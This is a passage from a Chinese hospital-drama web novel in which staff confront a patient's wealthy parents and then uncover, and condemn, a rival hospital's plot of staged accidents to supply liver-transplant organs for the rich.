“脑瘤还不开刀?就算是良性的,太大了也得先摘了吧?而且我听说她有脑积水。” 韦宁雨趴在桌子上皱眉。 他对韦初雪的印象很不好,她和她爸妈一样,都瞧不起人。 但她也不是嫌贫爱富,就是瞧不起不上进的人,他当然就是不上进的人之一。 后来没其他事,他们之间也算相安无事。 要说兄妹这事,他俩根本没血缘关系,他也不用去惦记她的病。 韦宁雨说:“您还操心她?人家有钱有势,想去首都就去首都,开刀也不会在小地方开。” 他起身要走。 护士长耸肩,“怎么是小地方?咱们汤院长都开始研究肝移植了。” 韦宁雨又停下,“咱们医院能做肝移植?开玩笑吧?” 护士长笑道:“没做过,这不是想做吗?恩德医院几年前就做过了,汤院长眼红吧?” “靠,这又不是眼红就能做成的事,都疯了。” 护士长喊道:“你去哪?” 韦宁雨慢悠悠往外走,“闷,出去透气。” “哦,”护士长说,“别是透到韦医生病房了吧?” 韦宁雨:“……” 他停下来,对护士长做了一个鄙视的表情。 儿科的小卢护士走过来,“宁雨去哪?” 护士长道:“还能去哪,去看韦医生了呗。他也是蛮奇怪的,这两天做事心不在焉,肯定是担心韦医生,还 非得嘴硬。” 护士说:“我听他们说了,宁雨的爸爸过来,韦总特别生气,他俩好像不是亲兄妹。” 护士长笑笑,“但总归是缘分啊,宁雨平时话不多,但你看不出来吗,他最重情义,你不想值的班都是谁和你换的?” 小卢护士:“那倒是,宁雨嘴硬人好,唉,我听说韦总不喜欢他,你说宁雨打针技术好,还会赚钱,我要是有这样的儿子,我做梦都要笑醒了。” 阮乔不知从哪里冒出来,“韦宁雨怎么了,又上房了?” “乔乔,他去看韦医生了,不过现在韦总还在吧,他……”护士长面露担忧。 阮乔撸起袖子,“他又想欺负韦宁雨?!” 护士长道:“你个小姑娘能不能矜持点儿?你看小卢护士。” 小卢护士跟着撸袖子,“过分!” 护士长:“……” “年轻!冲动!” * 韦宁雨想不明白韦初雪为什么不肯开刀。 南栀说过,CT虽然无法断定是良性肿瘤还是恶性肿瘤,但从能看到的肿瘤判断,结果偏好的可能性更大。 去把肿瘤割了,查查是恶性还是良性,如果是良性,皆大欢喜。 难道一直拖着,肿瘤就会自己消失? 韦宁雨晃悠到韦初雪病房附近。 他嘀咕道:“是南栀比较关心这人,南栀是我们科室的嘛,我是来帮她看看这人,可不是因为别的。” 韦宁雨走向病房门。 手还没碰到把手,就听到里面传来高声责骂。 “我已经和你说了很多遍了,小雪是我们的女儿,和你们家没有关系,你们当初也是答应了的,现在还想过来抢孩子?!” “你们教坏小雨就算了,人已经成这样,我们不和你们计较,现在还想来带坏小雪?” “你们是不是答应过我们,不再和两个孩子联络,还说会回家继续种地,结果呢?这两年都搬到临川市来住了!别以为我们不知道你们在想什么,你们还偷偷看小雪!” 韦宁雨神色僵住,刹那间红温。 他又听到任建业和母亲苏兰讨好的声音。 “你们误会了,孩子生了这么大的病,我们只是想来看看她,不是想抢孩子,孩子是你们的,我们怎么能抢走呢?” “对对,而且韦总也说了,不让我们总过来,我们就是想在小雪动刀之前看看她,我们来之前都和小雪打过招呼了,她同意了,我们才敢过来。” 范雯华的声音更加高亢,“小雪心地善良,她孝顺,能不同意吗?你们别想利用小雪从我们这里拿到一分钱,一分钱都没有!” 韦宁雨猛地推门走进去。 韦初雪不在,范雯华一人坐在床上,任建业和苏兰站在床位,二人低着头被训斥,手中还提着好些礼品。 昨天来看韦初雪,韦利讽刺他们带来的苹果,回家以后他们特意打听了,都说看病人要带补品,特意去百货大楼买的。 范雯华都没让他们把东西放下。 韦宁雨冲进去,“爸、妈,你们怎么又来了?!你没听人家说吗,人家不欢迎你们,总来干什么?” 范雯华说:“小雨,你也看见了,是我对他们有偏见吗?是我的错?” 任建业赶紧说:“小雨啊,没事,我们就是来看看,你别和你妈吵了,别为我们吵架。” 苏兰红着眼睛抹眼泪。 范雯华冷笑,“装给谁看。” “装?!”韦宁雨吼道,“你知道什么叫装吗?他们一直让我多和你们来往,别和你们生气,这是装?我告诉你什么叫装,你和韦利才是装!看不起这个看不起那个,我们不靠你,你凭什么看不起?!” “还有,你说你没错?你当然没错!错的是我们!当初我就不该去改什么鬼名字,我们就不该来见你们,真以为你们是什么香饽饽,狗看了都想啃一口?!” 范雯华气得手抖,她厉声道:“你说的这都是什么话,像上过学的样子吗?!” “我说的人话比你们强多了!我告诉你,你们给的破钱我们没动过!拿着你们的钱赶紧滚,以后别再联系!” 范雯华目光微妙,似笑非笑道:“还钱?你把你爸妈接过来,花了不少钱吧,拿什么还,靠你在医院的这几个工资?” “我想赚钱就赚钱,我怎么赚钱需要告诉你?!开玩笑,还没人质疑过我赚钱的能力!”韦宁雨看向任建业,“爸,把那笔钱给他们,以后就不来往了,你们管韦初雪干什么,她是死是活和你们也没关系。” 韦宁雨早就说过把钱还回去,但任建业总是犹豫。 犹豫着还了钱,是不给韦家面子,会惹他们生气。 也担心韦家认为他们不信守承诺,还想接近韦初雪。 这笔钱,说是感谢他们抚养韦宁雨长大,其实是“买断”韦初雪的费用。 韦宁雨嗓门大,他吼一嗓子,半个楼房的人都能听见。 病人们行动不便,但家属行动很方便,揣上两把瓜子就出门了。 韦初雪病房门口水泄不通。 范雯华抱臂冷笑。 韦宁雨暴躁地想回家拿钱。 任建业和苏兰两口子还想从中说和,韦宁雨更暴躁,“你们是不是傻,被欺负了还忍着让着?还来劝我?要是我爸妈,就去帮我找砖头把他们家砸了!” 任建业和苏兰就不敢拦着了。 吃瓜群众很好奇。 “这在吵什么?到底谁和谁是一家?” “抱错了?啊,一个富,一个穷,这还不明白?” “肯定是穷的那家往上贴啊,我家就有这样的穷亲戚,看我们家过得不错,天天过来蹭,以前我家情况不好,也没见他们过来看看。” 韦利扶着韦初雪回来。 他刚陪韦初雪做完检查。 韦利听到有人在吵,加快脚步走过去,一看到任建业和苏兰,脸色就变了。 “你们又来干什么?我说的话还不够明白?” 韦初雪赶紧跟进去。 任建业来之前特意打过电话,韦初雪和他们约好晚上七点见面。 七点钟韦利要和范雯华换班照顾韦初雪,她找个借口把人支走就是,以免他们见了又起冲突,没想到她不太舒服,又被推去做检查。 影像室的医生都下班了,主任特别给 她“开小灶”,把人家硬留下来加班的。 结果任建业和苏兰提前来了半个小时,她又不在,两边就撞上了。 韦利和范雯华一起“控诉”韦宁雨,“我们是你爸妈,亲生的,能和你计较这点儿钱吗?你说还钱是什么意思?我们都认你了,你好好的,家里的财产肯定有你一份!” “这孩子就是分不清好坏,不知道谁是真正地对你好。” 韦初雪听得头更痛了。 她正想过去说道说道,却见人群中蹿出好几个人,一个强壮的女人冲进去,“喂喂喂,你们在说谁?我们宁雨怎么了?!怎么就分不清好坏了!” 阮乔和小卢护士跟在后面,“护士长!!你冷静!冷静点儿!” 韦初雪:“……” 护士长叉着腰,谁都不怕,“我们宁雨,打针打得最好,还会赚钱,这几年不知道赚了多少钱,他那房子都是赚钱买的,你们谁说他不行?!” 阮乔撸起来的袖子都没用上,她帮腔道:“护士们打不上的针都得来找韦宁雨,而且人家挺会赚钱的,谁没事吃医院这点儿死工资啊。” 其他看热闹的医生护士幽怨地看向阮乔。 来看个热闹,被内涵了。 他们都吃死工资。 很快,南栀和陆随也到了。 “又吵架啦?”南栀惊讶道,“韦总,又要欺负人呀。” 陆随说:“应该是习惯了。” 韦利:“……” 不知为何,他看到南栀有点儿发怵。 范雯华没听说韦宁雨还会做生意赚钱,有些惊讶,不过她不可能当着这么多人的面认错,又说:“说到底还是护士。” 护士长更横了,“护士怎么了?瞧不起护士?!” 她看向身后的医生们,“你们对护士有意见?!” 医生可能对护士有意见,但可不敢对护士长有意见。 被点名的医生们瑟瑟发抖,齐刷刷摇头。 陆随:“不敢不敢。” “所以!你不要乱说话!真当宁雨没你们活不了了?跟你们姓是给你们面子,真把自己当根葱了!我看看,你们和哪个医生有关系,让他来和我谈,还是和院长有关系?!” 南栀说:“不会的,他们和恩德医院关系比较好,在康宁医院没关系,护士长您放心骂。” 韦利:“……” 范雯华:“……” 就说这死丫头不安好心。 范雯华说不过护士长,起身道:“你们都是哪个科室的,为什么来这里胡闹,科室主任呢?” “你找盛医生啊,”阮乔,“我劝你不要。” 南栀也说:“还是不要找盛医生了吧?” 韦宁雨现在也不气了,挑眉说:“我也劝你不要。” 范雯华冷笑,“现在知道怕了?晚了,真以为你们能无法无天?” 她坚持把电话打到盛昭云的办公室。 南栀几人老老实实站成一排。 范雯华道:“你们主任来之前,我不会再和你们沟通。” 很快,走廊传来“砰砰”的走路声。 听到这声音,南栀脸色都变了,她看向范雯华,轻轻叹气摇头。 阮乔和韦宁雨亦是如此。 陆随道:“也不用这么害怕吧?我帮你们说情?” 话音刚落,盛昭云沉着脸走进来。 旁人生气,能生得五颜六色,盛昭云生气,就只有这一副表情。 范雯华道:“你是儿科的主任?你来看看你们这几个……” 盛昭云打断她,“是你打的电话?” 盛昭云气势太强,见多识广的范雯华都愣了一下,“是我,怎么了。” “怎么了?你还问怎么了?!”盛昭云崩溃,“你知道我手里有多少工作吗,你还给我打电话?!” “我工作做不完,你替我加班?工作出问题,你替我兜着?!儿科运转不过来,你去承担责任?!” 范雯华被怼蒙了。 盛昭云看向南栀,“为什么找我?!” 阮乔说:“是他们!他们骂韦宁雨!” 南栀:“说韦宁雨被家里教坏了,任叔叔只是来看看韦医生。” 韦宁雨愤愤不平,“他们天天欺负我。” 盛昭云怒火中烧,“你们还敢欺负人?!看清是在谁的地盘了吗?不想住院就去恩德!别来我们医院撒野!” “早就说了要招保安,还不招!医务部的人在哪,赵师傅王师傅下班了吗?把人给我叫来,把他们都赶走!” 南栀同情道:“我就说了嘛,不要找盛医生。” 阮乔摊手:“盛医生被迫代理主任,烦着呢。” 韦宁雨道:“我都不敢惹她。” 陆随:“……” 范雯华和韦利都蒙了,气得只会哆嗦,说不出话来。 韦初雪松口气,又有点儿想笑。 儿科好像每次都一起出现吵架,阮乔和韦宁雨嘴快,盛昭云靠气场碾压,南栀负责真诚地阴阳人。 谁能吵得过他们? 韦初雪走过去,看向韦利,“是我让他们过来的,我如果开刀,是有概率下不来手术台的,该见的人都得见见,你们打算让我遗憾一辈子?” 二人不再说话。 南栀:“肯定是呀,不然不能赶叔叔阿姨走,他们一定是这样想的。” 韦利:“……” 能不能别火上浇油了?! 韦初雪道:“今天既然都说到这里了,我就再说明白点儿,这些年是我主动去看他们的,他们是我亲生父母,我去看看他们,没什么问题吧?我从来都没说过不认你们。” “你们一直说他们是为了要钱,但或许有钱人才最抠门,这些年我也没见过你们给钱,却总把这话挂在嘴边,如果要泼脏水,起码要把钱给人家。” 家属们疯狂吃瓜。 “没给过钱啊?那还提防什么?两家人和和美美一起过日子呗,这才是对孩子好。” “你没听这个男护士说要把最开始给的钱还给他们,看起来不像是图钱的。” “这家人也是挺搞笑,给点儿钱就想把儿子买过来,抚养孩子花了多少钱,能算得清吗?” 韦初雪严肃道:“还有,有件事,我一定要说清楚。” 她看向韦利,“爸,我可以去开刀治病,但我有一个条件,你应该知道条件是什么,好好考虑。” 韦初雪不知道她在韦利心目中到底有多少分量,但是事情发展到现在,她应该试试。 这也是最后的机会。 第69章 第69章丧心病狂 韦宁雨不知道韦初雪和韦利要谈什么,韦利一直没松口。 加上看热闹的人太多,韦利和范雯华自认为身份不同,丢不起这个人,先行离开。 韦初雪把任建业和苏兰留下说了会儿话,快到九点钟病房才安静下来。 南栀接了电话回来,陆随、韦宁雨和阮乔还没走。 “栀栀你来,”阮乔说,“陆医生说你们要和韦医生聊聊。” 韦初雪道:“该说的我都说了,我没有撒谎,更没有骗你们。” 南栀把信封交给韦初雪,“这是我们在葛晓凡的遗物中找到的。” “你们……”韦初雪轻轻咬住唇,接过信封,取出工牌。 她沉默地看着工牌,盯着葛晓凡的名字看了许久。 “在哪里找到的?” 南栀说:“葛晓凡的遗物,她家里人还没来得及丢,我们花钱买来了。” 韦宁雨和阮乔努力跟上南栀的节奏。 南栀和他们说过一些,但不清楚现在查到哪一步。 韦初雪收好工牌,脸色更加苍白,“我和你说过了,不要插手这件事。我都做不到的事情,你们怎么做?如果有一天你们也……怎么办?” 南栀说:“你和我打听的孩子叫薛宇,他去恩德医院时,先去儿科挂的号,萧医生去和金主任见面了,金主任说,薛宇以前就去恩德医院做过检查,他本来挂的是儿科,是心外科主动联系屠秋柳,把患者带走。我和屠秋柳谈过,是有医生特意提醒她,她才想到去其他医院再做检查,而且那些所谓的证明薛宇必须动手术的片子,医生本来不想让她带走,是她离开时偷偷去办公室拿的。” 陆随问:“你知道他们要做什么,对吗?” 韦初雪拧眉。 阮乔听得迷迷糊糊的,“这能做什么?” 南栀说:“得靠韦医生给我们答案,我们既然已经查到这里,不论你是否如实相告,你担心的事都有可能会发生。” 陆随:“不如你我都坦诚,我们能省去很多步骤,反倒更安全,除非你是想帮他们隐瞒。” 韦初雪否认,“当然不是!” 韦宁雨问:“那是什么?” 韦初雪看向韦宁雨,微怔。 韦宁雨不满道:“你看你爸妈对我爸妈的态度,我看你爸也有掺和这事,不然不能天天嚷着让你去恩德。” 韦宁雨的脑子很灵光。 “我……”韦初雪重重叹气,看向病房门。 南栀说:“我关严了,不会有人进来。” 韦初雪拽了拽被子,盯着床尾好一会儿,才低声道:“我真的是为你们考虑,其实恩德医院……做肝移植手术有问题。” 南栀已经想到这一点,但她还没想通此事是否和薛宇有关。 “是韦总的手术?” “是的,”韦初雪承认道,“在技术上,恩德医院的确有突破,最开始我以为是恩德医院去首都学习了技术,引进了更先进的设备,所以我爸说要在恩德医院治病时我并没有反对,当时他们已经有过移植成功的病例。 ” 陆随问:“他们做手术的方法有问题?” “应该说,曾经有问题,我爸去做手术时,没有问题。”韦初雪道,“他们隐瞒了几起因手术过程不规范而死亡的病例。我查到,主刀医生都是腹部外科的主任,后来给我爸开刀的也是腹部外科的主任,而且那些做移植手术的人的病历,都没有写明白这一项。” 阮乔惊道:“他拿活人做实验?图什么??” 真要学习,去首都进修,去移植研究所工作,自己技艺不精进,怎么能直接在活人身上动刀? 韦初雪说:“我最初也只以为是这个问题,但是晓凡死后我才知道,没那么简单。” “葛晓凡发现这件事了?” 韦初雪摇头,“她发现的是,和我爸配型成功的人,在术后意外死亡了。” “她最开始只是和我一起去看望我爸,我们是朋友,她又在恩德医院工作,肯定要多关照。但她偶然间发现,与我爸配型成功的人的信息是捏造的,她曾见过一样的检查单,但当时的署名是其他人的。” “晓凡觉得很奇怪,顺着查下去,上台的医生护士都是主任的心腹,但不是所有人都知道他们在做什么,有人认为他们只是在做普通的手术,提防心不重,他给晓凡说明了捐赠人的样貌,还说曾在心外的办公室见过他,晓凡找到他的报告单,还在主任的办公室找到一张真正的配型检查结果。” 阮乔扶着头,“你要把我绕晕了。” 韦宁雨翻译道:“恩德医院造假,让外人认为这是普通的肝移植手术,捏造了捐赠人的身份?” 韦初雪点头,“实际上,他们选择曾去医院就诊的人,偷偷配型,配型成功后再去联系对方,当然不能直接问,这太奇怪,而且会被提防。他们会了解对方的家庭情况,如果情况糟糕,大概率可以用钱买到。但是我爸运气不好,他配型成功的人,家境优渥,不会为了钱做这种事。” 南栀道:“他们该不会是……强行做的手术?” 韦初雪悲怆道:“我不知道是不是强行做手术,但他很快就出车祸了,人被拉到恩德医院,根本找不到对他的急救记录,他术后勉强保命,但没过多久就因为各种并发症离世。” 阮乔弹起来,“这不是草菅人命吗?!” “不仅是草菅人命,”陆随说,“肝移植的配型要求是最低的,真想做手术,真需要用这种方式吗?” 国家七十年代末期就有许多医学期刊刊登了肝移植的病例、报告或者论文。 78年就在研究肝移植的凝血机制变化、术后血液酶谱监测等等。 肝脏具有更强的免疫耐受性,配型要求相对较低,在急性肝衰竭等紧急情况中,甚至可能进行血型不相容移植。 韦初雪逐渐暴躁,“我就是知道这一点,才不敢相信!我不明白这样做有什么好处!后来我才知道,恩德医院做成功的那几台手术,手术对象都不是普通人,他们和我爸一样,都是有钱人,这是专门为他们做的手术!” 南栀不懂,“有钱人的肝……更好用?” 不能吧,这不太科学。 韦宁雨递给韦初雪温水。 韦初雪手脚发麻,喝了些温水后情绪才逐渐平复。 韦初雪拿起葛晓凡的工牌,说:“他们认为,配型更合适,对他们的身体更好,这是他们选择在恩德医院做手术,没有去首都的原因,在首都他们没有挑选的权利。” 南栀说:“如果真的完美匹配到一定程度,当然是越合适越好,但肝移植用这种方法,还是夸张。” “何止是夸张,简直匪夷所思,他们明明可以正常接受治疗,也能成功做手术,居然为了一个可能性愿意去残害人命,被撞的可是活生生的人,他们怎么能下得去手?!” 南栀问:“所以葛晓凡查到这些,被灭口了?” 韦初雪紧紧握住信封,泪痕无声滑落,“不是他们发现的。” “?” 韦初雪说:“是我告诉他们的。” 葛晓凡发现事情奇怪,第一时间选择和好友分享。 事情牵连韦利,告诉韦初雪一声也是应该的,这是她父亲。 韦初雪得知后,最初的反应是不相信,她知道肝移植手术是大手术,但配型要求低,她实在无法想象有人会在肝移植手术上动这种手脚。 韦初雪找到韦利质问,韦利最先不肯承认,韦初雪把葛晓凡的话原封不动告诉他,他才不得不说,这都是医院的安排,他也不清楚。 第二天就传来葛晓凡自尽的消息。 韦初雪慌了,她想到葛晓凡提过找到一些证据,立刻去拿葛晓凡的遗物,但葛晓凡的东西早就被恩德医院检查过,韦初雪只拿到她平时穿的手术服和白大褂。 白大褂的袖子缝过好几遍,是葛晓凡捡的师姐的衣服。 韦初雪很慌,她不知道这件事是否与韦利有关。 韦利听说后很惊讶,还主动给钱,让韦初雪去安慰葛晓凡家里人。 韦初雪长这么大,韦利带她的时间比范雯华陪她的时间更长,就算工作再忙,韦利都会在她生日当天赶回家,给她祝福和礼物,陪她一起吹蜡烛。 韦初雪对韦利仍有信任,可当天晚上,她就偷听到韦利交代下属去处理葛家。 “就是他动的手,就算不是亲手杀死,肯定也通知医院了,我实在太蠢,居然还相信他,居然没留证据,直接去问他。我报警了,我说晓凡不会自尽,但没人相信,我也想把这件事说出来,可我发现我什么证据都没有。后来我也试图去调查,但晓凡查到的那些,我什么都查不到,大概是他们有警惕心,把所有检查报告都销毁了。” 韦宁雨捂住腹部,他没有生病,但只是听韦初雪这样说,便觉得肝疼。 “这几年我常常在想,我们每个人在历史中扮演的都是什么角色?这些有权有势的人,才是会在史书上留名的,而普通人,会被一点点榨干,他们的血水是养分,他们的白骨是向上走的路,那些人,是踩着普通人,才能在史书上留下只言片语。” 韦初雪看向南栀,“我真的在努力查了,但是没证据,他们都很提防我。后来恩德医院只要做肝移植手术,我都会去查,但是没用,没证据。没有证据我们什么都做不了。” 南栀问:“当时动手的人会是谁?” 韦初雪摇头,“我不知道,但我知道,我爸的生意做得也没那么干净,他会和一些背景不白的人联手。你们要查,还闹出这么大的动静去查,太危险了,他们会盯上你们。哪天一脚油门把你们撞死,随便找个人顶罪,什么都改变不了。” 陆随思索道:“难道薛宇也一样?” 南栀说:“咱俩去恩德医院时,遇到过得了肝母细胞瘤的小朋友,住单人病房。” 韦初雪说:“我问你那天,就是听到我爸打电话时提到这件事,我才知道他还在和恩德医院联络,他从患者变成了……” 她沉默片刻,才艰难挤出几个字,“牵线搭桥的人。” 这件可以说是无理取闹的事没有因为葛晓凡 的死而停止,反而更加肆无忌惮。 韦初雪能活到今天,恐怕也是因为韦利,不然早就被捂嘴。 病房内安静许久,南栀才说:“现在还在进行,就一定有痕迹留下,还记得提醒屠秋柳的医生吗?” 韦初雪说:“我不知道他是谁。” “不管是谁,他的出现就说明腹部外科和心外科不是铁板一块,他们中的某一个人还有一点儿良心,找到他或许还有机会拿到证据。” “真有良心?”阮乔不抱希望,“如果是孩子需要肝移植,成人的肝裁剪过后明明可以移植,非要再找一个孩子的吗?儿童的肝就真的好?我看他们是丧心病狂,没救了。” 南栀说:“我们大概找找他们团队的名单吧,现在可以确定腹部外科主任和心外科主任肯定都是一起的,腹部外科其他人大概也不干净,还有上台的助手护士麻醉,人不算少。要做手术都得提前做检查,配型也要做检查,我不相信所有检查结果出来后,他们都会立刻烧干净,一定有证据。” 只是那个提醒屠秋柳的医生究竟是谁,实在难找。 韦宁雨说:“干脆把屠秋柳带到恩德医院,让她去认人。” 陆随道:“有照片还行,如果是屠秋柳本人出现在恩德医院,他们肯定立刻就知道,我和南栀上次去都被发现了。” 说到这里,南栀想到一点,“这件事不要告诉其他人,我俩上次很快就被发现,我怀疑有人告密。” 阮乔抱紧胳膊,疑神疑鬼地看向两边,“咱们医院还有坏人?!” 南栀忽然听到门口有动静。 她比了个手势,快步走向病房门。 陆随跟着走过去,想代替南栀开门,南栀投来同情弱者的目光。 陆随:“……” 次数多了就生气了啊。 其他几人紧张地盯着门口。 南栀握住门把手,停顿两秒钟后一鼓作气拉开门,门外的人被吓了一跳。 陆随拧眉看着韩阅松,“是你?你来干什么?” 韩阅松仍旧是那副老实巴交的表情,但现在病房几人谁都不会信。 韩阅松说:“我也不清楚,接到电话说韦医生的病房一直在吵架,经常吵,我过来看看是什么情况。” 南栀道:“你来晚了,吵完了。” 韩阅松:“……” 他能感觉到南栀几人的状态,落寞地低下头,“不好意思啊,打扰你们了。” 南栀犹豫片刻,笑道:“没事,我们是在说点儿小秘密,不是冲着你。” 大家都知道南栀是个城市的“好人”,她的安慰果然起作用。 韩阅松放松了些,“你放心吧,我什么都没听到。你们的小秘密……这么多人知道啊?” 南栀道:“其实是陆医生……” 陆随看向南栀。 她最近随手拿他编瞎话的本事愈发精进。 南栀及时闭嘴,指着韦宁雨说:“是陆医生旁边的韦护士,他不是被韦总欺负了嘛,我们在想办法帮他报复,你可别告诉其他人,韦总的本事你知道的。” 韩阅松赶紧点头,“放心吧,我肯定不说。” 送走韩阅松,陆随关上门问:“是他吗?” 南栀也不清楚。 他们当务之急是确定这伙人的身份,找到提醒屠秋柳的人。 阮乔忽然又想起什么,“等等,薛宇出院了吧?” 南栀点头,“他的情况不需要做手术。” 阮乔看向韦初雪,“如果他们原本是打算给薛宇和栀栀说的有钱人家的小孩做手术,现在薛宇跑了,他们会怎么做?” 韦初雪说:“应该有人接触过屠秋柳,屠秋柳没提过吗?” 南栀摇头。 “没提也正常,他们不会直接问的,她应该没放在心上。这得看情况了,我爸知道我一直很在意这件事,如果他已经知道你们在调查,应该会收手避风头。” 南栀道:“可是小松的手术不能等。” “这倒是,”韦初雪思索道,“那就只有两个途径,要么正常接受手术,要么……就像我爸一样。” 制造点儿小意外,肝脏就来了。 陆随怀疑道:“这些有钱人连个医学顾问都没有?没人告诉他们肝移植配型简单?” “如果真的着魔,恐怕只会想要最好的,”韦初雪问,“得看小松的父母是什么样的人了,如果是自己疼爱的孩子,或许……” 南栀神色凛然。 陆随道:“我去给薛宇家打电话。” 晚上的住院楼还算安静,尤其是单人病房,家属少,许多患者已经休息。 陆随拿着话筒等了许久都没人应。 打到第三遍时,才有人睡眼惺忪地接起电话,听到陆随是找人,先将他骂了一顿,然后骂骂咧咧去叫人。 屠秋柳很快接起电话,陆随说明来意,提醒她留意薛宇。 屠秋柳很聪明,她也能看出这件事不正常,一口答应。 陆随接着问:“提醒你的医生是男是女?” 屠秋柳反问:“你们要找他?” 陆随说:“情况复杂,没办法和你多解释,但请你相信,我们是为了小宇好。” 对屠秋柳来说,最重要的人就是小宇,这话果然有效。 屠秋柳沉默了几秒钟,说:“我真不知道他是谁,只能确定他不是心外科和儿科的医生,我没见过他。是个男人,看不出年纪,挺年轻,不算老,说话有口音。” 南栀几人来到临川市后都面临一个问题,不会说临川市的方言。 他们是来得时间久了,加上原主本身是会说的,才慢慢适应,不过还是只能听,不想说。 医院里不是所有人都说普通话的,年纪大点儿的都说方言。 就连田宏都没改过来,这一条没法排除多少人。 陆随道谢,将这一消息告诉南栀。 南栀在纸上写下近十个人的名字。 “腹部外科主任沙永昌,副主任杜凡,主治医生于波、田宏……” 南栀解释道:“这是我在恩德医院见过的名字,心外科的不太清楚,应该不会所有医生都参与了,得挨个排查。” 陆随说:“我和奶奶说一声,她如果有认识的人会方便很多。” 两人把事情安排好,陆随送南栀回家。 他们明天都要去门诊,今天得早点儿休息。 陆随除了去门诊,还得继续挂水。 南栀回去时,黄春兰还在厨房熬汤,嘴里念叨着,“小陆看着太瘦了,肯定是病得太久,身体亏空,唉,还得继续补。” 南栀:她就说陆随很弱嘛! 阮乔一大早就来门诊,“早啊,给你带了早餐,还有牛奶,牛奶是新鲜的,我家亲戚今早亲自挤的,我奶刚煮完,你尝尝。” 阮乔哈欠连天,南栀精神抖擞地看论文。 她把牛奶倒进南栀的杯子里,凑过来看南栀的论文,“肝移植?你又开始研究肝移植了?” 南栀说:“只是想看看现在能做到什么程度。” 阮乔道:“做这手术还是去首都比较好,你要是想学,也得去首都学,可千万别学恩德医院,为了服务有钱人,脸都不要了。” 南栀深以为然。 阮乔接着说 :“祁院长不是让你去考首都的大学吗?你和陆教授商量商量,让她帮你引荐,我相信凭你的实力,有很多导师都愿意要你。你在首都读个研究生,再去医院上几年班,说不定以后能去富雅医院。” 南栀兴致缺缺。 阮乔恨铁不成钢,“你知道富雅医院什么样吗?那可是我们国家最牛的医院!所有疑难杂症都在富雅医院!那可不是普通的医院!” 南栀说:“我已经考虑过了,我认为经验更重要,我现在想学做手术,如果去首都,还要继续学习再做手术。” 主要是研究生的课本她早就在看了,而且现在医疗水平落后,她不想再花几年的时间在学校。 阮乔不解,“你打算留在临川市?” 南栀没有否认,“能做手术就最好了。” “你傻啊!以后学历只会越来越重要!” 南栀如实道:“学历很重要,但这是卡普通人的。” 阮乔:“?” 南栀:“我不普通呀!” 阮乔:“……” 阮乔捏住南栀的脸,“真是怪了,没变厚啊,怎么越来越像韦宁雨了?” 南栀笑眯眯道:“我已经在研究临川医科大学的研究生考试了,放心吧,我肯定能考过的。院长说了,我可以一边上课一边工作,还可以不坐诊。” 看起来很忙,但只要有人脉,时间就更灵活。 南栀想祁院长是愿意帮这个忙的。 阮乔长叹,“唉!唉!浪费大脑!首都的学校诶,我想上都上不了!” 南栀说:“你也可以的。” 被南栀认可,阮乔有点儿小骄傲,她挺直腰板,不好意思道:“真的吗?” 南栀从书桌柜里搬出一摞资料,推给阮乔,“都读完就可以了!” 阮乔:“……” 她比较想继续混日子。 上午的患者比较多。 南栀看到中午一点钟才把上午的患者看完,下午还是会很忙。 阮乔从食堂帮她带了饭,趁着午休时间,南栀给心外打去电话。 南栀:“我找陆……” “谁?” 她听出是箫珵的声音,紧急改口,“哥,我就找你。” 箫珵:“……” 他可不姓陆。 南栀继续表忠心,“不管发生什么事,我第一个想到的都是你!你永远都是我哥!” 陆随走进办公室,见箫珵面无表情地拿着话筒,问:“谁?” 箫珵把话筒递给陆随:“找你的。” 南栀:“……” 不愧是她哥!真聪明! 陆随和陆嘉述说过这件事了,陆嘉述很生气。 她脾气火暴得很,但也冷静,让陆随暂时不要声张,接着就开始各种打电话。 有陆教授在,他们会安全一些,不至于和葛晓凡一样被灭口。 南栀说:“太好了,多亏陆教授,替我表达感谢哦。今晚我想找个画画好的人去见屠秋柳,一起吗?” 陆随道:“今晚我可能没时间,箫珵可以。” 几人商量好见面时间,南栀才挂断电话继续吃饭。 * 韦初雪昨日和韦利大吵一架,她和韦利还有范雯华说了,以后不用来陪她,她不需要他们陪护。 她也不会去首都治病,更不会在康宁医院开刀。 韦初雪一早就自己去办出院手续。 主任当然不同意,在他看来,韦初雪就是在拿自己的生命开玩笑。 “你想出院可以,你必须得到汤院长的允许才行,你是他的人,如果你出点儿什么事,他不得来找我的麻烦?” 主任给几个院长挨个打电话。 韦初雪是医院的“红人”,不仅是汤兴生,院长和其他几个副院长都认识她,也很关注她的病情。 正好几位院长开会回来,一起出现在院长办公室。 刚打过电话的主任:“……” 平时有正事没见他们这么积极过。 康宁医院的副院长有好几个,连争是唯一真正的院长,他平时公务繁忙,不常出现,一般都是几个副院长在医院奔波。 汤兴生几人在连争面前都得点头哈腰。 “院长您看,我早就和初雪说了,要多休息,要爱护自己的身体,她就是太重视工作,才累成这样,唉,这孩子太上进了。” 祁念珍的白眼快要翻出屋外。 汤兴生:“初雪啊,工作上进,认真仔细,最难得的是还有天赋,如果初雪能挺过这一关,一定要好好培养!” 连争年过半百,对医院的新人都不太了解,他缓缓点头。 祁念珍挖了挖耳朵。 连争:“小祁有话说?” 祁念珍:“啊?没有没有,耳朵进脏东西了,掏一掏。” 汤兴生:“……” “不过汤院长也真是的,”祁念珍似笑非笑道,“咱们初雪努力也不是一天两天了,你怎么才关注到?我们做领导的不关心自己的下属,指望谁关心,患者吗?” 汤兴生尬笑,“是是是,是我太疏忽了。” 祁念珍话锋一转,“不过汤院长在调教下属这方面做得还是很好的。” 汤兴生皱眉看过来。 太阳从西边出来了?祁念珍竟然会夸他? 祁念珍说:“看看初雪,多优秀,再看看我负责的科室的那几个人,什么陆随啊,韦宁雨啊,唉,居然自己跟着汤院长去饭局,真是太胡闹了,汤院长带着初雪就足够了。汤院长你放心,我一定好好批评他们。” 汤兴生:“这……” 连争依然是面无表情的样子,但能精准抓到重点,“小汤经常带下属去饭局?这脑瘤可不是一天就有的。” 汤兴生冷汗浸湿衣服,一句话都不敢说。 他就说祁念珍不会夸他!! 连争道:“初雪是女同志,你喜欢喝酒,我不拦着,但自己去喝就好,哪有带着女同志喝酒的?” 大家都是老油条,能不知道汤兴生的用意? 在这里,主任的职位最小,但范儿最大,院长来了也不站起来迎接,大剌剌坐着,“谁说不是,口口声声说最看重的下属,不给下属争福利,还带去酒局,啧,韦医生当时应该已经很不舒服了吧?” 韦初雪安静地站在一旁。 以前她一定会帮汤兴生说几句话,现在她人已经站在鬼门关前,很多话都不必再说。 几个来找主任的实习生躲在门口不敢进去。 “怎么回事,怎么有这么多院长?” “你真牛,我都认不出来,你还知道是院长。” “院长办公室门口有照片,你都不记住?不记住职位,见面怎么打招呼?” 实习生露出清澈又愚蠢的目光,“老师好呀。” “……” 